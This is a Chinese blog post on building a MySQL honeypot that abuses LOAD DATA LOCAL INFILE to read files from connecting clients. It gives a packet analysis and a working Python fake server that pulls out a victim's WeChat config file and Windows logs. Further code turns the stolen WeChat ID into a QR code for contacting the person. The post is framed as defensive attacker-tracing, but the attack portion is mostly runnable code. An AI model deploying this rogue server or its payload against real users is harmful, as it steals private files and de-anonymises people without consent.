MYSQL蜜罐反制

2021-08-05 10:42:33 浏览数 (1)

1. 应用场景

蜜罐是网络攻防对抗中检测威胁的重要产品。防守方常常利用蜜罐分析攻击行为、捕获漏洞、甚至反制攻击者。同样,攻击方也可以通过蜜罐识别技术来发现和规避蜜罐,减少被防守方溯源。蜜罐环境能否迷惑攻击者一定程度上取决于搭建环境是否仿真,简单的环境容易被攻击者识破。现如今,弱口令依然是导致网络安全事件的主要因素,有时候一个弱口令可能导致企业被攻击者从外网打到内网。mysql蜜罐通过搭建一个简单的mysql服务,如果攻击者对目标客户进行3306端口爆破,并且用navicat等工具连接蜜罐服务器,就可能被防守方读取本地文件,包括微信配置文件和谷歌历史记录等等,这样很容易被防守方溯源。

2. 反制思路

MySQL服务端可以利用 LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。

Load data infile是MySQL的一个高效导入数据的方法,它的速度非常快。是MySQL里一款强大的数据导入工具。

3. navicat演示

Load data infile 这个功能默认是关闭的,当我们没有开启这个功能时执行LOAD DATA INFILE会有报错。

查看是否开启:

代码语言:javascript复制
show global variables like'local_infile';

如果没有开启可以通过如下命令打开

代码语言:javascript复制
set global local_infile=1;

语法:

代码语言:javascript复制
load data  [low_priority] [local] infile 'file_name txt' [replace | ignore]into table tbl_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name,   )]

load data infile语句从一个文本文件中以很高的速度读入一个表中。

使用这个命令之前,mysqld进程(服务)必须已经在运行。为了安全原因,当读取位于服务器上的文本文件时,文件必须处于数据库目录或可被所有人读取。另外,为了对服务器上文件使用load data infile,在服务器主机上你必须有file的权限。如果指定local关键词,则表明从客户主机读文件。如果local没指定,则是读取服务器文件。

navicat演示:

test数据库中新建一个名为ceshi的表。

客户端(WIN10)D盘新建1.txt文件,内容为1234567890,然后读取这个文件内容到服务器。

代码语言:javascript复制
load data local infile 'D:/1.txt' into table test.ceshi fields terminated by 'n';

如果出现secure-file-priv 选项为NULL则表示禁止导入导出,可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),查看是否有:secure_file_priv = 这样一行内容,如果没有,则手动添加,=后面为空即可。

代码语言:javascript复制
SHOW VARIABLES LIKE "secure_file_priv";

4. wireshark流量分析

在以上的过程中使用wireshark进行分析

wireshark过滤3306端口抓包。

第一个Greeting包返回了服务端的版本等信息

第二个包客户端发起登录请求

接下来客户端发送了请求

代码语言:javascript复制
SET NAMES utf8mb4

从MySQL 5.5开始,可以支持4个字节UTF编码(utf8mb4 ),一个字符能够支持更多的字符集,也能够支持更多表情符号。utf8mb4兼容utf8,且比utf8能表示更多的字符,是utf8字符集的超集。所以现在一些新的业务,比如ISO等,会将MySQL数据库的字符集设置为utf8mb4。

连接建立之后客户端向服务端发起查询请求

接下来服务端回复一个Response TABULAR,指定要查询的文件

最后客户端向服务器发送文件内容

从上面过程可以看出,在客户端向服务端发起查询后,服务端会返回一个Response TABULAR的响应包。而如果在这个数据包中指定文件路径,就可以读取客户端相应的文件。而服务端可以在回复任何客户端的请求时返回Response TABULAR响应包,这样就可以在客户端登录成功后,发送Response TABULAR响应包,读取客户端的相关信息。

Response TABULAR响应包分析:

数据包中内容如下

代码语言:javascript复制
09 00 00 01 fb 44 3a 2f 31 2e 74 78 74

这里的09指的是从fb开始十六进制的数据包中文件名的长度,00 00 01指的是数据包的序号,fb是包的类型,44 3a 2f 31 2e 74 78 74指的是文件名。因此payload可以为

代码语言:javascript复制
chr(len(filename)   1)   "x00x00x01xFB"   filename

从上面的过程可以知道,首先服务端要发送Greeting包,这个包可以伪造,或者用wireshark抓到的Greeting包,然后引导客户端登录服务端(攻击者爆破),接下来可以构造Response TABULAR包的payload,最后还需要客户端的一个查询请求,从上面分析可以看到,Navicat客户端进行连接的时候,会自动发送SET NAMES utf8mb4 这个查询请求。

5. python脚本模拟过程

相关代码

代码语言:javascript复制
# coding=utf-8
import socket
import os

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)

def get_data(filename, client, addr):
    base_path = os.path.abspath('.')   "/log/"   addr[0]
    if not os.path.exists(base_path):
        os.makedirs(base_path)

    evil_response = str.encode(chr(len(filename) 1))   b"x00x00x01xfb"   str.encode(filename)  # 恶意响应包    
    client.sendall(evil_response)
    file_data = client.recv(999999)
    print(file_data)
    with open(base_path   "/"   filename.replace("/", "_").replace(":", ""), "wb ") as f:
        f.write(file_data)
        f.close()

while True:
    # 建立客户端连接
    client, addr = server.accept()
    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x2ax51x47x38x48x17x12x21x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x7ax6fx6ex25x61x3ex48x31x25x43x2bx61x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
    client.sendall(version_text)
    try:
        # 客户端请求信息
        client.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"x07x00x00x02x00x00x00x02x00x00x00"
    client.sendall(verification)
    try:
        # SET NAMES utf8mb4
        client.recv(9999)
    except Exception as e:
        print(e)

    # Response TABULAR
    filename = "C:\Users\xu\Documents\WeChat Files\All Users\config\config.data"
    #这里为要读取的文件路径
    get_data(filename, client, addr)
    client.close()

将上面代码保存运行,用navicat连接登录,首先读取C:WindowsPFRO.log获取计算机的用户名,然后读取微信ID,这里需要微信配置文件的路径。

默认路径:

代码语言:javascript复制
C:Users<目标用户名>DocumentsWeChat FilesAll Usersconfigconfig.data

首先从C:WindowsPFRO.log获取客户端的用户名,然后根据这个用户名拼接路径读取相应的文件内容。

这里以微信为例,读取微信的配置文件,获取客户端的微信id。注意navicat连接mysql数据库时连接用户名和密码随意。

使用github上的一个项目来演示Mysql读取,下载这个项目的代码

代码语言:javascript复制
https://github.com/c0cc/fakeMysql

运行脚本,输入想要读取的文件路径,navicat进行测试连接,可以看到客户端的微信id成功获取。

如果对方是win10系统,并且启用了onedrive备份微信,那么微信配置文件的路径可能为

代码语言:javascript复制
C:Users<目标用户名>OneDrive文档WeChat FilesAll Usersconfigconfig.data

通过wxid添加好友,参考代码。

代码语言:javascript复制
import qrcode
from PIL import Image
import os

# 生成二维码图片
# 参数为wxid和二维码要保存的文件名
def make_qr(str,save):
    qr=qrcode.QRCode(
        version=4,  #生成二维码尺寸的大小 1-40  1:21*21(21 (n-1)*4)
        error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
        box_size=10, #每个格子的像素大小
        border=2, #边框的格子宽度大小
    )
    qr.add_data(str)
    qr.make(fit=True)

    img=qr.make_image()
    img.save(save)

# 读取到的wxid
wxid = 'wxid_u3mntwd4glaq22'
qr_id = 'weixin://contacts/profile/'   wxid
make_qr(qr_id,'demo.jpg')

运行代码生成了对方二维码,扫码可以添加对方好友,由于最近wxid规则改版,所以扫码添加会提示当前页面无法显示。

除了自己生成二维码,还可以借助其它软件,比如数据兔恢复大师,这款app主要功能是恢复微信聊天记录,同时也能够根据wxid生二维码,当然价格有点小贵,这里没有尝试。(PS:通过这款app也能够读取微信好友的wxid)

参考链接:

代码语言:javascript复制
1. https://github.com/c0cc/fakeMysql。
2. https://www.freebuf.com/articles/web/247976.html
3. https://blog.csdn.net/caoxiaohong1005/article/details/72570147

0 人点赞